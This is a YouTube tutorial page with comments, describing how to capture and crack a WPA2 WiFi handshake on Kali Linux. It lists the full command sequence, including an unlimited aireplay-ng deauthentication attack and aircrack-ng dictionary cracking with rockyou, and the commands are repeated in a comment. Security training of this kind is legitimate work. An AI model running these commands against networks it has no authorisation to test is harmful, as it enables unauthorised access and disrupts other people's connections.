Cracking WiFi WPA2 Handshake

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Published 2021-02-02
Full process using Kali Linux to crack WiFi passwords. I discuss network adapters, airmon-ng, airodump-ng, aircrack-ng and more in this video.

Menu:
Use airmon-ng to crack WiFi networks: 0:00
Network Adapter to use: 0:46
Kali Linux setup: 1:20
Plug in network adapter: 1:35
Verify that network adapter is recognized by Kali Linux: 2:04
WPA2 network to crack: 2:43
iwconfig: 3:27
Kali Version: 3:34
Kill conflicting processes with airmon-ng: 3:55
Put interface into monitor mode: 4:32
Discover WiFi Networks with airodump-ng: 5:15
Use airodump-ng to view only one network: 6:20
Connect to network using an iPhone: 6:39
airodump-ng capture WPA2 four way handshake: 6:58
Use aireplay-ng to deauthenticate clients: 7:25
WPA2 four way handshake captured: 8:08
Use Wireshark to view WPA2 four way handshake: 8:38
Put interface back into managed mode: 9:30
Crack WPA2 password with aircrack-ng: 10:10
Password cracked: 11:00
WiFi router WPA2 settings: 12:00
Summary: 12:40

================
Network Adapters:
================
Alfa AWUS036NHA: amzn.to/3qbQGKN
Alfa AWUSO36NH: amzn.to/3moeQiI

================
Commands used:
================
! See version of Kali
cat /etc/os-release
uname -a

! See interfaces
ip addr
iwconfig

!kill processes
sudo airmon-ng check kill

!Start monitor mode
sudo airmon-ng start wlan0

!Verify that monitor mode is used
sudo airmon-ng

!You could also use iwconfig to check that interface is in monitor mode:
iwconfig

! Get the AP's MAC address and channel
sudo airodump-ng wlan0mon

! AP-MAC & channel - you need to select your own here:
ESSID: 90:9A:4A:B8:F3:FB
Channel used by AP for SSID: 2

!1st Window:
!Make sure you replace the channel number and bssid with your own
!Replace hack1 with your file name like capture1 or something
sudo airodump-ng -w hack1 -c 2 --bssid 90:9A:4A:B8:F3:FB wlan0mon

!2nd Window - deauth attack
!Make sure you replace the bssid with your own
sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon

!Use Wireshark to open hack file
wireshark hack1-01.cap
!Filter Wireshark messages for EAPOL
eapol

!Stop monitor mode
airmon-ng stop wlan0mon

!Crack file with Rock you or another wordlist
!Make sure you have rockyou in text format (unzip file on Kali)
!Replace hack1-01.cap with your file name
aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt

================
Previous videos:
================
Kali Installation:    • Kali Linux 2020.3 install Windows 10 ...  
WPA2 GPU password cracking:    • Brute force WiFi WPA2  
Wordlists (rockyou):    • rockyou  

================
Connect with me:
================
Discord: discord.com/invite/usKSyzb
Twitter: www.twitter.com/davidbombal
Instagram: www.instagram.com/davidbombal
LinkedIn: www.linkedin.com/in/davidbombal
Facebook: www.facebook.com/davidbombal.co
TikTok: tiktok.com/@davidbombal
YouTube: youtube.com/davidbombal

================
Support me:
================
Buy my CCNA course and support me:
DavidBombal.com: CCNA ($10): bit.ly/yt999ccna
Udemy CCNA Course: bit.ly/ccnafor10dollars
GNS3 CCNA Course: CCNA ($10): bit.ly/gns3ccna10

======================
Special Offers:
======================
Boson software: 15% discount
Link: bit.ly/boson15
Code: DBAF15P

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Please note that links listed may be affiliate links and provide me with a small percentage/kickback should you use them to purchase any of the items listed or recommended. Thank you for supporting me and this channel!

#wifi #wpa2 #kalilinux

All Comments (21)
  • @davidbombal
    Menu: Use airmon-ng to crack WiFi networks: 0:00 Network Adapter to use: 0:46 Kali Linux setup: 1:20 Plug in network adapter: 1:35 Verify that network adapter is recognized by Kali Linux: 2:04 WPA2 network to crack: 2:43 iwconfig: 3:27 Kali Version: 3:34 Kill conflicting processes with airmon-ng: 3:55 Put interface into monitor mode: 4:32 Discover WiFi Networks with airodump-ng: 5:15 Use airodump-ng to view only one network: 6:20 Connect to network using an iPhone: 6:39 airodump-ng capture WPA2 four way handshake: 6:58 Use aireplay-ng to deauthenticate clients: 7:25 WPA2 four way handshake captured: 8:08 Use Wireshark to view WPA2 four way handshake: 8:38 Put interface back into managed mode: 9:30 Crack WPA2 password with aircrack-ng: 10:10 Password cracked: 11:00 WiFi router WPA2 settings: 12:00 Summary: 12:40 ================ Network Adapters: ================ Alfa AWUS036NHA: amzn.to/3qbQGKN Alfa AWUSO36NH: amzn.to/3moeQiI ================ Commands used: ================ ! See version of Kali cat /etc/os-release uname -a ! See interfaces ip addr iwconfig !kill processes sudo airmon-ng check kill !Start monitor mode sudo airmon-ng start wlan0 !Verify that monitor mode is used sudo airmon-ng !You could also use iwconfig to check that interface is in monitor mode: iwconfig ! Get the AP's MAC address and channel sudo airodump-ng wlan0mon ! AP-MAC & channel - you need to select your own here: ESSID: 90:9A:4A:B8:F3:FB Channel used by AP for SSID: 2 !1st Window: !Make sure you replace the channel number and bssid with your own !Replace hack1 with your file name like capture1 or something sudo airodump-ng -w hack1 -c 2 --bssid 90:9A:4A:B8:F3:FB wlan0mon !2nd Window - deauth attack !Make sure you replace the bssid with your own sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon !Use Wireshark to open hack file wireshark hack1-01.cap !Filter Wireshark messages for EAPOL eapol !Stop monitor mode airmon-ng stop wlan0mon !Crack file with Rock you or another wordlist !Make sure you have rockyou in text format (unzip file on Kali) !Replace hack1-01.cap with your file name aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt ================ Previous videos: ================ Kali Installation: https://youtu.be/VAMP8DqSDjg WPA2 GPU password cracking: https://youtu.be/J8A8rKFZW-M Wordlists (rockyou): https://youtu.be/rgWcguAg-XA ================ Connect with me: ================ Discord: discord.com/invite/usKSyzb Twitter: www.twitter.com/davidbombal Instagram: www.instagram.com/davidbombal LinkedIn: www.linkedin.com/in/davidbombal Facebook: www.facebook.com/davidbombal.co TikTok: tiktok.com/@davidbombal YouTube: youtube.com/davidbombal ================ Support me: ================ Buy my CCNA course and support me: davidbombal.com/: CCNA ($10): bit.ly/yt999ccna Udemy CCNA Course: bit.ly/ccnafor10dollars GNS3 CCNA Course: CCNA ($10): bit.ly/gns3ccna10 ====================== Special Offers: ====================== Boson software: 15% discount Link: bit.ly/boson15 Code: DBAF15P Please note that links listed may be affiliate links and provide me with a small percentage/kickback should you use them to purchase any of the items listed or recommended. Thank you for supporting me and this channel!
  • @aty4282
    David: only attack networks that you own Me: well, i basically "own" the network after im in- gets sent to gulag
  • @69rogefer
    Hey! Mr. David Bombal, thanks a million. I am from Tijuana, Mexico, I am 53, and I just get this "KALI LINUX" os, with knowing nothing what so ever about this LINUX SYSTEM. So, as you can imagine, I've whatched so many video tutorials, and well, I'm a little confused with all this commands, and passwords, but I'm doing a little progres in understanding the basics. And let me tell you, that until I watched your video here, I finally get to run the tools in the AIRCRACK-NG SUITE. The way you exp;ain step by step, it"s so clear, THAT EVEN ME GET TO UNDERSTAND WHAT TO DO, AND WHAT EXACTLY IS THE PROGRAM DOING WITH EACH ONE OF THE COMMANDS. THANK YOU SIR. I hope that my written engish is not so bad, and you get may gratitude.
  • @deckieb1
    I am 56 and you make this all so interesting and easy. I love what you do and cant thank you enough for educating me.
  • @user-xd4sb5rq4o
    After watching first video in your channel, It took only 2 minutes to decide weather i want to subscribe your channel or not. Love this. Such an awesome presentation. ♥
  • @78inn
    You are my favorite. You talk so clearly and demonstrate in clean way.
  • @KacangNgoding
    Ah, finally, I found a proper way to learn about network security.
  • backtrack was my introduction to Linux / cybersecurity back in 2008. So glad that I kept digging at it, best decision ever
  • @Steve_be
    This for me is the best presented shows on YT its given me so much pleasure and being retired keeps me busy lerning thank you sir.
  • @nonegone7170
    Brilliantly made video as we've all come to expect from you, David. Really invigorates the motivation to keep at it. Keep it up!
  • @ak11230
    I am computer consultant 1991 Melbourne Fl . Degree in electric engineering major computer input -output I did make living recovering , braking password , Old days 500 dollars maybe 1 hours ? Upset employees password all network and quit many times . . I really thanks You David deep from my heart for educating young people ... We needed that in America ...
  • @eliasmierau5421
    I just saw this video and right away had to subscribe, absolute wonderful!! you make it look so simple, thank you so very much!
  • Such a clear and well communicated lesson definitely will be watching more of your videos and looking at your courses, thank you for this great lesson David!
  • @ryanlea750
    A great video we went over this in class I had notes to the best of the circumstances lectures happen fast. This helped me fill in the holes. Great video. Thank you!
  • I must say that you are indeed an excellent teacher. You did not explain what to do after I have the HANDSHAKE I'll be glad to hear from you. Thank you very much.
  • @dr.-a
    I Love your setup and the blue back light, your way of explaining things is very easy to understand, you should consider teaching a CEH course online or in Udemy Thank You Sir Mad Respect 🙏🏼
  • @nicolasnoka
    Just if somebody is having issues with VM, I was not able to find any SSIDs until I changed my VM network configuration. I changed to Bridge and it worked. I am still new on this and I will keep doing research. Thanks David for all the good work here!
  • @niklasd6149
    Thank you, very straight forward. I like that. You talk about the vital things without nonsens. That is a real pro.
  • @elsoyboy3977
    Excelente video, thank you so much, I saw many blogs and they didn't explain as good as you. I thought I wouldn't find videos like this in YouTube jajaja.